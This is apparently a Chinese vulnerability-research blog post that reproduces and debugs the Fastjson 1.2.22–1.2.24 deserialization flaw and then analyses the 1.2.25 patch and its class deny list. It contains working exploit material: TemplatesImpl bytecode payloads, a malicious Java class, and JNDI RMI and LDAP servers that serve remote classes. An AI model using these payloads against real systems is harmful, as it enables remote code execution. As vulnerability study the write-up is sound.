0%

0x01 影响版本

Fastjson 1.2.x系列的1.2.22-1.2.24版本。

0x02 复现

对于Fastjson 1.2.22-1.2.24 版本的反序列化漏洞的利用,目前已知的主要有以下的利用链:

  • 基于TemplateImpl;
  • 基于JNDI

    基于TemplateImpl的利用链

参考廖新喜大佬的博客

限制

需要设置Feature.SupportNonPublicField进行反序列化操作才能成功触发利用。

复现利用

恶意类Test.java,为啥需要继承AbstractTranslet类在后面具体看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec(“calc”);
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}

这里将恶意类编译成class文件,然后我通过一个py脚本进行base64编码以及生成payload:

1
2
3
4
5
6
7
import base64

fin = open(r"Test.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print(poc)

运行即可弹出计算器:

1
2
3
4
5
6
7
8
9
10
package fastjson;

import com.alibaba.fastjson.JSON;

public class Poc {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}"; JSON.parse(payload);
JSON.parseObject(payload,Feature.SupportNonPublicField);
}
}

来看生成的poc

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAApFeGNlcHRpb25zBwAsAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAIAAkHAC8MADAAMQEABGNhbGMMADIAMwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACgAEAAsADQAMAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAADwAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAEgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAUAAgAFQAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}

PoC中几个重要的Json键的含义:

  • @type——指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField
  • _bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
  • _outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
  • _tfactory:{}——在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory设置

    调试分析

下面我们直接在反序列化的那句代码上打上断点进行调试分析

1
JSON.parseObject(payload,Feature.SupportNonPublicField);

在JSON.parseObject()中会调用DefaultJSONParser.parseObject(),而DefaultJSONParser.parseObject()中调用了JavaObjectDeserializer.deserialze()函数进行反序列化
图片

图片

跟进该函数,发现会返回去调用DefaultJSONParser.parse()函数

图片

继续调试,在DefaultJSONParser.parse()里是对JSON内容进行扫描,在switch语句中匹配上了”{“即对应12,然后对JSON数据调用DefaultJSONParser.parseObject()进行解析

图片

图片

在DefaultJSONParser.parseObject()中,通过for语句循环解析JSON数据内容,其中skipWhitespace()函数用于去除数据中的空格字符,然后获取当前字符是否为双引号,是的话就调用scanSymbol()获取双引号内的内容,这里得到第一个双引号里的内容为”@type”:

图片

图片

往下调试,判断key是否为@type且是否关闭了Feature.DisableSpecialKeyDetect设置,通过判断后调用scanSymbol()获取到了@type对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并调用TypeUtils.loadClass()函数加载该类

图片

图片

跟进去,看到如红框的两个判断语句代码逻辑,是判断当前类名是否以”[“开头或以”L”开头以”;”结尾,当然本次调试分析是不会进入到这两个逻辑,但是后面的补丁绕过中利用到了这两个条件判断,也就是说这两个判断条件是后面补丁绕过的漏洞点,值得注意

图片

往下看,通过ClassLoader.loadClass()加载到目标类后,然后将该类名和类缓存到Map中,最后返回该加载的类

图片

图片

返回后,程序继续回到DefaultJSONParser.parseObject()中往下执行,在最后调用JavaBeanDeserializer.deserialze()对目标类进行反序列化

图片

跟进去,循环扫描解析,解析到key为_bytecodes时,调用parseField()进一步解析

图片

图片

在parseField()中,会调用DefaultFieldDeserializer.parseField()对_bytecodes对应的内容进行解析

图片

图片

跟进DefaultFieldDeserializer.parseField()函数中,解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

图片

图片

FieldDeserializer.setValue()函数,看到是调用private byte[][] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl._bytecodes的set方法来设置_bytecodes的值

图片

图片

返回之后,后面也是一样的,循环处理JSON数据中的其他键值内容。

当解析到_outputProperties的内容时,看到前面的下划线被去掉了

图片

图片

跟进该方法,发现会通过反射机制调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法,可以看到该方法类型是Properties、满足之前我们得到的结论即Fastjson反序列化会调用被反序列化的类的某些满足条件的getter方法

图片

跟进去,在getOutputProperties()方法中调用了newTransformer().getOutputProperties()方法

图片

跟进TemplatesImpl.newTransformer()方法,看到调用了getTransletInstance()方法

图片

继续跟进去查看getTransletInstance()方法,可以看到已经解析到Test类并新建一个Test类实例,注意前面会先调用defineTransletClasses()方法来生成一个Java类(Test类)

图片

再往下就是新建Test类实例的过程,并调用Test类的构造函数

整个调试过程主要的函数调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<init>:11, Test
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getTransletInstance:408, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:460, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:35, PoC

最后的调用过滤再具体说下:在getTransletInstance()函数中调用了defineTransletClasses()函数,在defineTransletClasses()函数中会根据_bytecodes来生成一个Java类(这里为恶意类Test),其构造方法中含有命令执行代码,生成的Java类随后会被newInstance()方法调用生成一个实例对象,从而该类的构造函数被自动调用,进而造成任意代码执行

为什么恶意类需要继承AbstractTranslet类

在前面的调试分析中,getTransletInstance()函数会先调用defineTransletClasses()方法来生成一个Java类,我们跟进这个defineTransletClasses()方法查看下

图片

可以看到有个逻辑会判断恶意类的父类类名是否是ABSTRACT_TRANSLET,是的话_transletIndex变量的值被设置为0,到后面的if判断语句中就不会被识别为<0而抛出异常终止程序。

为什么需要对_bytecodes进行Base64编码

可以发现,在PoC中的_bytecodes字段是经过Base64编码的。为什么要怎么做呢?分析Fastjson对JSON字符串的解析过程,原理Fastjson提取byte[]数组字段值时会进行Base64解码,所以我们构造payload时需要对_bytecodes字段进行Base64加密处理。

其中Fastjson的处理代码如下,在ObjectArrayCodec.deserialze()函数中会调用lexer.bytesValue()对byte数组进行处理:

1
2
3
4
5
6
7
8
9
10
11
12
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
final JSONLexer lexer = parser.lexer;
if (lexer.token() == JSONToken.NULL) {
lexer.nextToken(JSONToken.COMMA);
return null;
}

if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}

跟进bytesValue()函数,就是对_bytecodes的内容进行Base64解码
图片

为什么需要设置_tfactory为{}

由前面的调试分析知道,在getTransletInstance()函数中调用了defineTransletClasses()函数,defineTransletClasses()函数是用于生成Java类的,在其中会新建一个转换类加载器,其中会调用到_tfactory.getExternalExtensionsMap()方法,若_tfactory为null则会导致这段代码报错、从而无法生成恶意类,进而无法成功攻击利用:

图片

为什么反序列化调用getter方法时会调用到TemplatesImpl.getOutputProperties()方法

getOutputProperties()方法是个无参数的非静态的getter方法,以get开头且第四个字母为大写形式,其返回值类型是Properties即继承自Map类型,满足Fastjson反序列化时会调用的getter方法的条件,因此在使用Fastjson对TemplatesImpl类对象进行反序列化操作时会自动调用getOutputProperties()方法。

如何关联_outputProperties与getOutputProperties()方法

Fastjson会语义分析JSON字符串,根据字段key,调用fieldList数组中存储的相应方法进行变量初始化赋值。

具体的代码在JavaBeanDeserializer.parseField()中,其中调用了smartMatch()方法

1
2
3
4
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer; // xxx

FieldDeserializer fieldDeserializer = smartMatch(key);

在JavaBeanDeserializer.smartMatch()方法中,会替换掉字段key中的_,从而使得_outputProperties变成了outputProperties
图片

图片

既然已经得到了outputProperties属性了,那么自然而然就会调用到getOutputProperties()方法

基于JdbcRowSetImpl的利用链

基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMI和JNDI+LDAP

限制

由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。

基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191。

JNDI+RMI复现利用

PoC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}

JNDIServer.java,RMI服务,注册表绑定了Exploit服务,该服务是指向恶意Exploit.class文件所在服务器的Reference

1
2
3
4
5
6
7
8
9
10
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
//http://127.0.0.1:8000/Exploit.class即可
Reference reference = new Reference("Exloit",
"Exploit","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

Exploit.java,恶意类,单独编译成class文件并放置于RMI服务指向的三方Web服务中,作为一个Factory绑定在注册表服务中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Exploit{
public Exploit() {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"/bin/bash","-c", "touch /tmp/hacked"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
}

public static void main(String[] args) {
Exploit e = new Exploit();
}
}

JdbcRowSetImplPoc.java:

1
2
3
4
5
6
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

先运行JNDI的RMI服务,将恶意类Exploit.class单独放置于一个三方的Web服务中,然后运行PoC即可弹计算器,且看到访问了含有恶意类的Web服务

JNDI+LDAP复现利用

PoC如下,跟RMI的相比只是改了URL而已

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

但是相比RMI的利用方式,优势在于JDK的限制更低了。
LdapServer.java,区别在于将之前的RMI服务端换成LDAP服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public class LdapServer {

private static final String LDAP_BASE = "dc=example,dc=com";



public static void main (String[] args) {

String url = "http://127.0.0.1:8000/#Exploit";
int port = 1389;



try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;



/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}



/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}



protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

Exploit.java不变。
JdbcRowSetImplPoC.java中修改payload中的dataSourceName的值为指向LDAP服务端地址即可

1
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}";

调试分析

虽然前面两个复现利用是用的不同的服务,但是都是利用了com.sun.rowset.JdbcRowSetImpl这条利用链来触发的,漏洞点都是JNDI注入导致的。

JSON.parse(payload);处打下断点开始往下调试。

前面的函数调用过程和基于TemplateImpl的调试分析几乎是一样的,只看下区别的地方。

调用scanSymbol()函数扫描到com.sun.rowset.JdbcRowSetImpl类后,再调用TypeUtils.loadClass()函数将该类加载进来

图片

往下调试,调用了FastjsonASMDeserializer.deserialze()函数对该类进行反序列化操作

图片

继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可。

由于PoC设置了dataSourceName键值和autoCommit键值,因此在JdbcRowSetImpl中的setDataSourceName()和setAutoCommit()函数都会被调用,因为它们均满足前面说到的Fastjson在反序列化时会自动调用的setter方法的特征。

先是调试到了setDataSourceName()函数,将dataSourceName值设置为目标RMI服务的地址

图片

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

图片

跟进connect()函数,看到了熟悉的JNDI注入的代码即InitialContext.lookup(),并且其参数是调用this.getDataSourceName()获取的、即在前面setDataSourceName()函数中设置的值,因此lookup参数外部可控,导致存在JNDI注入漏洞

图片

再往下就是JNDI注入的调用过程了,最后是成功利用JNDI注入触发Fastjson反序列化漏洞、达到任意命令执行效果。

调试过程的函数调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:654, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JdbcRowSetImplPoc

这里漏洞触发点是JSON.parse(payload);,改成用JSON.parseObject(payload);也是可以成功利用的。
我们将JSON.parse()换成JSON.parseObject()再调试一遍会发现,JSON.parseObject()会调用到JSON.parse()、再调用DefaultJSONParser.parse(),也就是说JSON.parseObject()本质上还是调用JSON.parse()进行反序列化的,区别不过是parseObject()会额外调用JSON.toJSON()来将Java对象专为JSONObject对象。两者的反序列化的操作时一样的,因此都能成功触发

0x03 补丁分析

这里下载1.2.25版本的jar包看下是怎么修补的。

checkAutoType()

修补方案就是将DefaultJSONParser.parseObject()函数中的TypeUtils.loadClass替换为checkAutoType()函数

图片

看下checkAutoType()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}

final String className = typeName.replace('$', '.');

// autoTypeSupport默认为False
// 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}

for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 从Map缓存中获取类,注意这是后面版本的漏洞点
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}

if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

if (clazz != null) {

if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}

if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

return clazz;
}

简单地说,checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空)。
默认情况下,autoTypeSupport为False,即先进行黑名单过滤,遍历denyList,如果引入的库以denyList中某个deny开头,就会抛出异常,中断运行。

denyList黑名单中列出了常见的反序列化漏洞利用链Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这里可以看到黑名单中包含了”com.sun.”,这就把我们前面的几个利用链都给过滤了,成功防御了。
运行能看到报错信息,说autoType不支持该类

图片

调试分析看到,就是在checkAutoType()函数中未开启autoTypeSupport即默认设置的场景下被黑名单过滤了从而导致抛出异常程序终止的

图片

autoTypeSupport

autoTypeSupport是checkAutoType()函数出现后ParserConfig.java中新增的一个配置选项,在checkAutoType()函数的某些代码逻辑起到开关的作用。

默认情况下autoTypeSupport为False,将其设置为True有两种方法:

  • JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
  • 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
    AutoType白名单设置方法:
  1. JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
  2. 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
  3. 通过fastjson.properties文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao

fastjson简介

Fastjson是阿里巴巴公司开源的速度最快的Json和对象转换工具,一个Java语言编写的JSON处理器。

常见的序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 把JSON文本parse为JSONObject或者JSONArray 
public static final Object parse(String text); 
 // 把JSON文本parse成JSONObject
public static final JSONObject parseObject(String text);    
// 把JSON文本parse为JavaBean 
public static final <T> T parseObject(String text, Class<T> clazz)
// 把JSON文本parse成JSONArray 
public static final JSONArray parseArray(String text); 
//把JSON文本parse成JavaBean集合 
public static final <T> List<T> parseArray(String text, Class<T> clazz); 
// 将JavaBean序列化为JSON文本 
public static final String toJSONString(Object object); 
 // 将JavaBean序列化为带格式的JSON文本 
public static final String toJSONString(Object object, boolean prettyFormat);
//将JavaBean转换为JSONObject或者JSONArray。
public static final Object toJSON(Object javaObject); 

简单的使用

1.将Json文本数据信息转换为JsonObject对象,通过键值的形式获取值

1
2
3
4
5
6
7
8
9
10
11
12
package fastjson;

import com.alibaba.fastjson.*;
public class demo {
    public static void main(String[] args) {
        String str = "{\"name\":\"test\"}";
//将JsonObject数据转换为Json  
        JSONObject object = JSON.parseObject(str);
//利用键值对的方式获取到值
        System.out.println(object.get("name"));
    }
}

JSONObject的get方法是通过传入的key值匹配返回val的值
图片

2.将JSON文本转换成实体类

先定义一个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package fastjson;

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

有两个方法可以进行反序列化,一个是parseObject、一个是parse,先来看看parseObject

parseObject

1
2
3
4
5
6
7
8
9
10
11
String s = "{\"name\":\"test\",\"age\":\"12\"}";

Object object1 = JSON.parseObject(s,User.class);
System.out.println(((User) object1).getName());
System.out.println(((User) object1).getAge());
System.out.println(object1.getClass());

Object object2 = JSON.parseObject(s);
System.out.println(((JSONObject) object2).get("name"));
System.out.println(((JSONObject) object2).get("age"));
System.out.println(object2.getClass());

很明显 根据参数的不同,返回的类也不同

1
2
3
4
5
6
7
8
9
10
11
12
public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    if (obj instanceof JSONObject) {
        return (JSONObject)obj;
    } else {
        try {
            return (JSONObject)toJSON(obj);
        } catch (RuntimeException var3) {
            throw new JSONException("can not cast to JSONObject.", var3);
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static <T> T parseObject(String input, Type clazz, int featureValues, Feature... features) {
    if (input == null) {
        return null;
    } else {
        Feature[] var4 = features;
        int var5 = features.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            Feature feature = var4[var6];
            featureValues = Feature.config(featureValues, feature, true);
        }

        DefaultJSONParser parser = new DefaultJSONParser(input, ParserConfig.getGlobalInstance(), featureValues);
        T value = parser.parseObject(clazz);
        parser.handleResovleTask(value);
        parser.close();
        return value;
    }
}

parse

这个方法貌似用到的不多

1
2
Object object3 = JSON.parse(s);
System.out.println(object3.getClass());

toJSONString

1
2
3
4
5
Map map = new HashMap();
map.put("1",123);
map.put("slm","123");
String result1 = JSON.toJSONString(map);
System.out.println(result1);

Fastjson 1.2.22-1.2.24反序列化漏洞分析

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Student {
private String name;
